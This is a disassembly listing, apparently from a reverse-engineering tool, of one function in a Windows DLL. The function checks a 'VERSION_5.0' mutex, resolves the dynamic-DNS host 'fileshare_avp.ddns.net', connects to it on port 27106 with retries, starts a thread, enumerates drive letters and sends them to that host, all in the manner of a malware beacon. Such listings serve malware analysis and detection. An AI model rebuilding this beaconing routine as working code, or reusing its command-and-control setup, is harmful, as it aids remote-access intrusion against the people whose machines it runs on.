Function at 0x180006ca0
Capabilities:
Check mutex on windows
Connect socket
Create thread
Get disk information
Initialize winsock library
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x330
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x18004e058]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor esi, esi
mov r14d, esi
mov dword [rsp + 0x40], esi
lea r8, str.VERSION_5.0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180007661
nop word [rax + rax]
mov ecx, 0x202
lea rdx, [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x180006e30
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x180006d63
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], send
movups xmm6, xmmword [rsp + 0xd8]
movups xmm7, xmmword [rsp + 0xc8]
jmp 0x180006dce
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r8d, eax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], send
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x68]
call fcn.18000afd0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm7, xmmword [rsp + 0x68]
movups xmm6, xmmword [rsp + 0x78]
or r14d, 1
mov dword [rsp + 0x40], r14d
mov rdx, qword [0x18004ecd8]
cmp rdx, 0x10
jb 0x180006e18
inc rdx
mov rcx, qword [0x18004ecc0]
cmp rdx, 0x1000
jb 0x180006e13
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180007669
mov rcx, r8
call fcn.180010c50
movups xmmword [0x18004ecc0], xmm7
movups xmmword [0x18004ecd0], xmm6
mov eax, 1
jmp 0x180007614
lea rcx, str.fileshare_avp.ddns.net
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov r15, rax
mov rcx, qword [rax + 0x18]
cmp qword [rcx], 0
je 0x180006e7b
mov rdi, rsi
mov rdx, rsi
mov rcx, qword [rdx + rcx]
mov ebx, dword [rcx]
mov dword [rsp + 0x44], ebx
lea rdi, [rdi + 1]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [rdi*8]
mov rcx, qword [r15 + 0x18]
cmp qword [rdx + rcx], 0
jne 0x180006e50
jmp 0x180006e7f
mov ebx, dword [rsp + 0x44]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xc0], send
mov byte [rsp + 0xa8], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180006eb2
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.18000afd0
nop
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], rsi
lea r15, [rsp + 0xa8]
mov r13, qword [rsp + 0xa8]
cmp qword [rsp + 0xc0], 0x10
cmovae r15, r13
mov rdi, qword [rsp + 0xb8]
cmp rdi, 0x10
jae 0x180006f23
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x88], xmm0
mov ebx, send
jmp 0x180006f9d
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180006f77
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000766f
mov rcx, rax
call fcn.180010c84
mov rcx, rax
test rax, rax
je 0x180007674
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180006f86
test rcx, rcx
je 0x180006f83
call fcn.180010c84
jmp 0x180006f86
mov rax, rsi
mov qword [rsp + 0x88], rax
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call fcn.180012bc0
mov qword [rsp + 0x98], rdi
movabs rdi, 0x7fffffffffffffff
mov qword [rsp + 0xa0], rbx
lea r15, [rsp + 0x88]
cmp rbx, 0x10
cmovae r15, qword [rsp + 0x88]
mov qword [rsp + 0x48], r15
mov ebx, esi
movsd xmm8, qword [0x180047e78]
mov ecx, 2
xor r8d, r8d
lea edx, [rcx - 1]
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x1800071a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x180007032
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], send
movups xmm6, xmmword [rsp + 0xd8]
movups xmm7, xmmword [rsp + 0xc8]
jmp 0x18000709d
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r8d, eax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], send
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x68]
call fcn.18000afd0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm7, xmmword [rsp + 0x68]
movups xmm6, xmmword [rsp + 0x78]
or r14d, 2
mov dword [rsp + 0x40], r14d
mov rdx, qword [0x18004ecd8]
cmp rdx, 0x10
jb 0x1800070e7
inc rdx
mov rcx, qword [0x18004ecc0]
cmp rdx, 0x1000
jb 0x1800070e2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180007686
mov rcx, r8
call fcn.180010c50
movups xmmword [0x18004ecc0], xmm7
movups xmmword [0x18004ecd0], xmm6
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x18000713f
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000713a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000767a
call fcn.180010c50
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], send
mov byte [rsp + 0x88], 0
mov rax, qword [rsp + 0xc0]
cmp rax, 0x10
jb 0x18000719a
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x180007192
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007680
mov rcx, r13
call fcn.180010c50
mov eax, 1
jmp 0x180007614
mov eax, 2
mov word [rsp + 0xf0], ax
mov ecx, 0x69e2
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xf2], ax
mov rcx, r15
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xf4], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xf0]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000747c
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x18000722c
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], send
movups xmm6, xmmword [rsp + 0xd8]
movups xmm7, xmmword [rsp + 0xc8]
jmp 0x180007297
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r8d, eax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], send
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.18000afd0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm7, xmmword [rsp + 0x68]
movups xmm6, xmmword [rsp + 0x78]
or r14d, 4
mov rdx, qword [0x18004ecd8]
cmp rdx, 0x10
jb 0x1800072dc
inc rdx
mov rcx, qword [0x18004ecc0]
cmp rdx, 0x1000
jb 0x1800072d7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180007686
mov rcx, r8
call fcn.180010c50
movups xmmword [0x18004ecc0], xmm7
movups xmmword [0x18004ecd0], xmm6
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
inc ebx
cmp ebx, 3
jl 0x18000745f
call fcn.1800101b8
mov rbx, rax
call fcn.18001019c
mov rcx, rax
cqo
idiv rbx
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov r8, rax
mov rax, rcx
cqo
idiv rbx
imul rax, rax, 0x3b9aca00
add rax, r8
movabs rcx, 0x7fffffd61729f7ff
cmp rax, rcx
jge 0x180007352
movabs r15, 0x29e8d60800
add r15, rax
jmp 0x180007355
mov r15, rdi
call fcn.1800101b8
mov rdi, rax
call fcn.18001019c
mov rcx, rax
cqo
idiv rdi
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
mov rbx, rax
mov rax, rcx
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
add rbx, rcx
cmp rbx, r15
jge 0x180007458
call fcn.1800102b8
imul rcx, rax, 0x64
mov rax, r15
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm8
seta r9b
movabs rdx, 0x311cdad160000
test r9b, r9b
lea r8, [rcx + rdx]
jne 0x1800073cb
lea r8, [rax + rcx]
add rax, rcx
add rdx, rcx
test r9b, r9b
cmove rdx, rax
movabs rax, 0x112e0be826d694b3
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x100], rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
mov dword [rsp + 0x108], r8d
lea rcx, [rsp + 0x100]
call fcn.180010340
call fcn.1800101b8
mov rdi, rax
call fcn.18001019c
mov rcx, rax
cqo
idiv rdi
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
mov rbx, rax
mov rax, rcx
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
add rbx, rcx
cmp rbx, r15
jl 0x180007394
mov ebx, esi
mov r15, qword [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rsp + 0x40], r14d
movabs rdi, 0x7fffffffffffffff
jmp 0x180006fdc
mov rcx, r12
call fcn.1800069f0
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x180006590]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x75eb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0xc8]
call fcn.180006380
nop
lea rdx, [rsp + 0xc8]
mov rcx, r12
call fcn.180004690
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov ebx, esi
nop dword [rax]
cmp ebx, 0x1a
jge 0x1800074d2
bt edi, ebx
jae 0x18000760d
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], send
mov byte [rsp + 0x68], 0
lea r8d, [rbx + 0x41]
mov edx, 1
lea rcx, [rsp + 0x68]
call fcn.18000ae60
nop
mov r8d, 2
lea rdx, [0x180047b20]
lea rcx, [rsp + 0x68]
call fcn.18000b130
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x120], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
or r14d, 8
mov dword [rsp + 0x40], r14d
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x1800075a3
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000759e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000768c
call fcn.180010c50
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], send
mov byte [rsp + 0x68], 0
lea rdx, [rsp + 0x110]
mov rcx, r12
call fcn.180004690
nop
mov rdx, qword [rsp + 0x128]
cmp rdx, 0x10
jb 0x18000760d
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007692
call fcn.180010c50
inc ebx
jmp 0x1800074e0
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.180010c30
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
ret
xor ecx, ecx
call fcn.18001ae8c
nop
call fcn.180019de8
nop
call fcn.1800012e0
call fcn.180019de8
int3
call fcn.180019de8
nop
call fcn.180019de8
nop
call fcn.180019de8
nop
call fcn.180019de8
nop
call fcn.180019de8
int3